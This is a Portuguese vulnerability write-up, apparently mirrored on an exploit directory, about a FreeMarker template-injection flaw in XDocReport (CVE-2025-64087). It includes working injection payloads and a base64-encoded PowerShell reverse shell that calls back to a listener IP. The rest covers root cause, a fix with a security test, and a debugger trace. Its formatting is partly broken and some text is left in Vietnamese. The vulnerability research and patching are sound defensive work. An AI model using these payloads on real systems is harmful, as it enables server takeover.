Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087 (SSTI) | Kitploit
Ferramentas/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationPayload Development
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

Ver Repositório
1há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-64087 (SSTI FreeMarker)

Injeção de Template do Lado do Servidor (SSTI) no XDocReport permite Execução Remota de Código via mecanismo Apache FreeMarker

Definição da Vulnerabilidade

Visão geral da vulnerabilidade

  • Server-Side Template Injection (SSTI) é uma vulnerabilidade de segurança web que permite a inserção de código malicioso em templates usados por sistemas de gerenciamento de conteúdo (CMS) e frameworks web, visando realizar ataques remotos, obter informações sensíveis ou realizar atividades de invasão do sistema.

  • SSTI é uma variante de vulnerabilidades de injeção (como SQL Injection, XSS, etc.), na qual o invasor explora o uso de sistemas de templates para implantar código malicioso remotamente. Quando um ataque SSTI é bem-sucedido, o invasor pode executar seu próprio código no servidor, permitindo realizar ataques remotos, como coletar informações sensíveis, realizar atividades de invasão do sistema e acessar recursos não autorizados.

  • A vulnerabilidade SSTI geralmente ocorre devido ao uso de sistemas de templates inseguros, ou pela falta de verificação e tratamento dos parâmetros de entrada antes de inseri-los nos templates. Se um ataque SSTI for bem-sucedido, as consequências podem ser graves e causar grandes danos à organização atacada.

Impacto nos negócios

  • A vulnerabilidade SSTI pode causar várias consequências graves, incluindo:

  • Execução de código malicioso: O invasor pode usar essa vulnerabilidade para executar código malicioso no servidor, permitindo roubo de dados, realização de ações ilegais no sistema e até mesmo controle total do servidor.

  • Divulgação de informações sensíveis: O SSTI pode permitir que o invasor leia, modifique ou exclua arquivos no servidor. Se esses arquivos contiverem informações sensíveis, como contas e senhas, o invasor pode facilmente expor essas informações.

  • Ataques de ameaça ou enganação de usuários: O invasor pode usar SSTI para realizar ataques de ameaça ou enganação de usuários, alterando o conteúdo da página web ou adicionando botões personalizados falsos. Se o usuário clicar nesses botões, o invasor pode roubar informações do usuário ou instalar software malicioso em seu computador.

Severidade: CRÍTICA

image

Descrição e Impacto

Uma vulnerabilidade de Injeção de Template do Lado do Servidor (SSTI) foi encontrada no OpenSAGRES XDocReport ao processar modelos DOCX com o mecanismo FreeMarker. Sob certas configurações, modelos criados podem levar à Execução Remota de Código (RCE).

O site de gerenciamento de pessoal permite que os usuários façam upload de arquivos de documento .docx para o sistema. Durante o processamento, a aplicação usa o mecanismo de template FreeMarker (no arquivo FreemarkerTemplateEngine.java) para renderizar o conteúdo ${"freemarker.template.utility.Execute"?new()("whoami")} sem nenhum mecanismo de controle ou filtragem do conteúdo de entrada. Essa vulnerabilidade permite que um invasor insira expressões maliciosas em arquivos .docx (modelo), levando à Execução Remota de Código (RCE) no servidor e podendo ser explorada para roubar informações ou assumir o controle do sistema.

Componente Afetado

fr.opensagres.xdocreport.template.freemarker — XDocReport (versões 1.0.0 a 2.1.0).

Análise da Causa Raiz

  • No arquivo https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java não é realizada a verificação do conteúdo do arquivo xdoc de entrada. O conteúdo do modelo é carregado diretamente e passado para process(context, writer, template) para ser processado pelo mecanismo FreeMarker sem nenhum mecanismo de sandboxing ou restrição de diretivas/expressões. Como resultado, um invasor pode fornecer um modelo contendo expressões/comandos FreeMarker maliciosos, levando à execução remota de código (RCE).

image

Passos para Reproduzir

  1. O usuário faz o upload de um arquivo .docx cujo conteúdo interno é o seguinte payload:``` ${"freemarker.template.utility.Execute"?new()("calc")}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

2. Vê que pode executar com sucesso e abrir o aplicativo calc

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

3. Da mesma forma, para obter informações do usuário em execução no sistema com o payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}

image

image

  1. Pode-se ver que o arquivo .docx processado pelo template engine retornou dados do sistema

image

  1. Similarmente com o seguinte payload:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

6. Elevar o impacto para RCE

- A máquina que escuta é wsl com endereço IP `172.26.208.130`

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

- explorar com o payload a seguir:

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}

image

  • Passe o arquivo .docx pelo xdocreport para processamento

image

  • Nota-se que a shell é retornada na máquina wsl

image

Solução

Bloquear execução de reflection (mais seguro, mas com erro de build)

  • No arquivo xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java adicione os seguintes conteúdos

image

image

Minha correção ainda permite renderizar objetos e propriedades normalmente como ${cuong.name} e apenas bloqueia funções built-in PERIGOSAS

  • Todos os payloads SSTI são bloqueados:
    • ${'freemarker.template.utility.Execute'?new()('calc')} - BLOQUEADO por ALLOWS_NOTHING_RESOLVER
    • ${'java.lang.Runtime'?api.getRuntime()} - BLOQUEADO por setAPIBuiltinEnabled(false)
    • Todos os outros payloads que usam ?new() e ?api são bloqueados

validar entrada

1. Arquivo Principal - FreemarkerTemplateEngine.java

Caminho: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

Alterações:

  • ✅ Import adicionado: java.util.regex.Pattern
    image

  • ✅ Método validateTemplateSecurity(Reader reader) adicionado — Valida padrões perigosos
    image

  • ✅ processNoCache() atualizado — Adicionada validação antes de criar o Template
    image

  • ✅ process(String templateName, …) atualizado — Adicionada validação a este método
    image

2. Arquivo de Teste - FreemarkerTemplateEngineSecurityTestCase.java

Caminho: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java

Alterações:

  • ✅ Novo caso de teste criado — Testa payloads SSTI comuns
  • ✅ Payload principal testado: ${"freemarker.template.utility.Execute"?new()("whoami")}
  • ✅ Padrões adicionais testados: ?new, java.lang.Runtime, java.lang.ProcessBuilder, etc.
  • ✅ Teste de template seguro — Garante que templates normais ainda funcionam corretamente

Resumo das Alterações

ArquivoTipo de AlteraçãoPropósito
FreemarkerTemplateEngine.javaModificadoProteção SSTI adicionada
FreemarkerTemplateEngineSecurityTestCase.javaNovo ArquivoTesta lógica de validação

Correção final

  • https://github.com/opensagres/xdocreport/pull/705

image

image

Na versão 2.2.0, o mecanismo de proteção foi ativado e o SSTI foi bloqueado com sucesso

image

Referências

  • https://portswigger.net/web-security/server-side-template-injection

Configuração do ambiente de depuração

image

  • No arquivo Main.java```java package org.example;

import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;

public class Main {

root@kitploit:~
public static void main(String[] args) {
    try {
        // Đọc file đầu vào chứa biểu thức Velocity
        File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
        InputStream input = new FileInputStream(docxTemplate);

        // Load template sử dụng FreeMarker
        IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

        // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
        IContext context = report.createContext();

        // Xuất ra file mới
        OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
        report.process(context, out);

        System.out.println("✅ Đã tạo file result.docx thành công.");
    } catch (Exception e) {
        System.err.println("❌ Lỗi xử lý file:");
        e.printStackTrace();
    }
}

}

root@kitploit:~
- Bibliotecas a importar```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

A Pontos de início (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");

root@kitploit:~
→ a source é este arquivo DOCX — se o arquivo for enviado/escrito pelo usuário, o conteúdo do template interno (sintaxe FreeMarker) são dados não confiáveis.```
InputStream input = new FileInputStream(docxTemplate);

→ ler o conteúdo do arquivo para encaminhar ao XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

root@kitploit:~
- loadReport(...) irá analisar (parse) o arquivo DOCX, encontrar a entrada/template no DOCX e criar um IXDocReport (internamente, ele inicializará o objeto Template do FreeMarker ou manterá um reader para o template).

- O conteúdo do template no arquivo DOCX agora está no objeto report (ainda não foi executado).

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

zipInputStream.getNextEntry() itera sobre cada entrada (cada arquivo) dentro do ZIP (.docx).

archive = new XDocArchive(...) — se ainda não houver archive, inicializa um objeto para organizar/registrar as entradas do documento.

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

Resumindo: esta parte descompacta o conteúdo do DOCX em uma estrutura interna (XDocArchive) para que partes posteriores possam acessar os arquivos filhos (document.xml,...)```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
                                    ITemplateEngine templateEngine, boolean cacheReport )
        throws IOException, XDocReportException
    {
        initializeIfNeeded();
        // 2) zip was loaded, create an instance of report
        IXDocReport report = createReport( sourceStream );
        // 3) Update the report id if need.
        if ( StringUtils.isEmpty( reportId ) )
        {
            reportId = report.toString();
        }
        report.setId( reportId );
        // 4) Search or set the template engine.
        if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
        {
            // Template engine was not forced.
            // Search template engine
            String documentKind = report.getKind();
            templateEngine =
                TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
            if ( templateEngine == null )
            {
                templateEngine =
                    TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
            }
        }
        report.setTemplateEngine( templateEngine );
        if ( cacheReport )
        {
            registerReport( report );
        }
        return report;
    }

image

Resumindo, não há mecanismo de verificação de SSTI em IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); mas apenas carrega os arquivos xml no docx e retorna IXDocReport report pronto para ser processado (por exemplo, renderizar, mesclar dados…).

image

em report.process(context, out);

image

  • Este é o ponto de ativação (sink de execução): XDocReport chamará o mecanismo correspondente (aqui FreeMarker) para mesclar o template com o context e renderizar o resultado para out.
  • Este método pega o template do documento (por exemplo, .docx ou .odt) previamente carregado, então insere dados do objeto context (geralmente IContext) nas variáveis do template.
  • Em seguida, renderiza o documento completo (com dados reais) e escreve o resultado no stream out, ou seja, no arquivo results.docx.

Aprofundando dentro desta função, ela chama preprocess(...) que analisa o XML lendo cada entrada XML, depois analisa o conteúdo XML e cria um BufferedDocument e escreve para o Writer (este é o XML pré-processado).

image```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; }

root@kitploit:~
        return false;
    }
    catch ( SAXException e )
    {
        throw new XDocReportException( e );
    }
}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

em seguida, ele entra em `processNoCache()` e chama `getReader()`
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

A função `getReader()` é usada para adicionar uma diretiva de escape em torno de todo o template, a fim de garantir que o conteúdo seja processado com segurança (escape HTML, evitar injeção).

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

Template original:```xml
<w:p>
  <w:t>Hello ${name}!</w:t>
</w:p>

Após getReader() processar:```xml [#-- Hello ${name}! [/#escape][#--]]>--]

root@kitploit:~
isso ajuda o motor Freemarker a ler com mais segurança:

- Proteção XML: Escape de caracteres especiais no XML
- Manuseio seguro: Evitar erros quando o Freemarker analisa o template

em seguida chama `FMParser` para analisar a sintaxe do Freemarker

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

por fim, em `process()` chama `environment.process();` e reader de dados```
public void process() throws TemplateException, IOException {
        Object savedEnv = threadEnv.get();
        threadEnv.set(this);
        try {
            // Cached values from a previous execution are possibly outdated.
            clearCachedValues();
            try {
                doAutoImportsAndIncludes(this);
                visit(getTemplate().getRootTreeNode());
                // It's here as we must not flush if there was an exception.
                if (getAutoFlush()) {
                    out.flush();
                }
            } finally {
                // It's just to allow the GC to free memory...
                clearCachedValues();
            }
        } finally {
            threadEnv.set(savedEnv);
        }
    }

👉 Đây là bước quan trọng nhất — phần render thực sự xảy ra.

  • getTemplate() trả về template đã parse (AST).

  • getRootTreeNode() là nút gốc của cây cú pháp được FMParser tạo ra lúc parse.

  • visit() là API lõi của FreeMarker, dùng để duyệt và render từng phần tử của template, và được định nghĩa trong freemarker.core.Environment

    • Gặp TextBlock → ghi text ra out.

    • Gặp Interpolation (ví dụ ${user.name}) → tra trong dataModel, lấy giá trị, ghi ra out.

    • Gặp #if, #list, #include, macro → xử lý logic tương ứng```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

ele dispara em entryName `word/document.xml`

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

em seguida, pula para a função `accept()`

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
    TemplateElement[] accept(Environment env) throws TemplateException, IOException {
        final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
        final Writer out = env.getOut();
        if (moOrStr instanceof String) {
            final String s = (String) moOrStr;
            if (autoEscape) {
                markupOutputFormat.output(s, out);
            } else {
                out.write(s);
            }
        } else {
            final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
            final MarkupOutputFormat moOF = mo.getOutputFormat();
            // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
            if (moOF == outputFormat) {
                moOF.output(mo, out);
            } else if (!outputFormat.isOutputFormatMixingAllowed()) {
                final String srcPlainText;
                // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                srcPlainText = moOF.getSourcePlainText(mo);
                if (srcPlainText == null) {
                    throw new _TemplateModelException(escapedExpression,
                            "The value to print is in ", new _DelayedToString(moOF),
                            " format, which differs from the current output format, ",
                            new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
                }
                if (markupOutputFormat != null) {
                    markupOutputFormat.output(srcPlainText, out);
                } else {
                    out.write(srcPlainText);
                }
            } else if (markupOutputFormat != null) {
                markupOutputFormat.outputForeign(mo, out);
            } else {
                moOF.output(mo, out);
            }
        }
        return null;
    }

image```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } }

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

O fluxo de execução na função `visit()` é o seguinte```
visit(Interpolation)                // gọi accept(...)
 └─ Interpolation.accept(env)
     └─ calculateInterpolatedStringOrMarkup(env)
         └─ expression.eval(env)
             └─ (đến _eval) target.eval(env)   // trả TemplateMethodModel (built-in new()/Execute)
                 └─ targetMethod.exec(arguments)  ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây

Resumo do debug```

[User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong ${} │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 Kết quả: Server-Side Template Injection (SSTI)

root@kitploit:~
## 🔍 **Resumo dos pontos-chave exploráveis**

| Etapa                   | Classe               | Função               | Relacionado a SSTI         |
| ----------------------- | -------------------- | -------------------- | -------------------------- |
| `loadReport()`          | `XDocReportRegistry` | Carregar template    | Sem controle de entrada    |
| `getReader()`           | `TemplateEngine`     | Ler dados do template| Pode conter payload        |
| `FMParser`              | `freemarker.core`    | Analisar conteúdo    | Variáveis `${}` são analisadas |
| `Environment.process()` | `freemarker.core`    | Renderizar template  | Chamar `visit()` para cada nó |
| `visit()` / `eval()`    | `freemarker.core`    | Executar expressão   | **Ponto SSTI / RCE**       |

---

## Documentação

- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link
Baixar ferramenta
PassoAçãoObjetivo
1Ler arquivo DOCXObter estrutura do relatório original
2Criar IXDocReportRepresentar o template
3Atribuir IDGerenciamento único
4Selecionar mecanismo de templatePara processar expressões (Freemarker/Velocity)
5Cache se necessárioOtimizar desempenho
6Retornar relatórioUsado para renderizar arquivo de resultado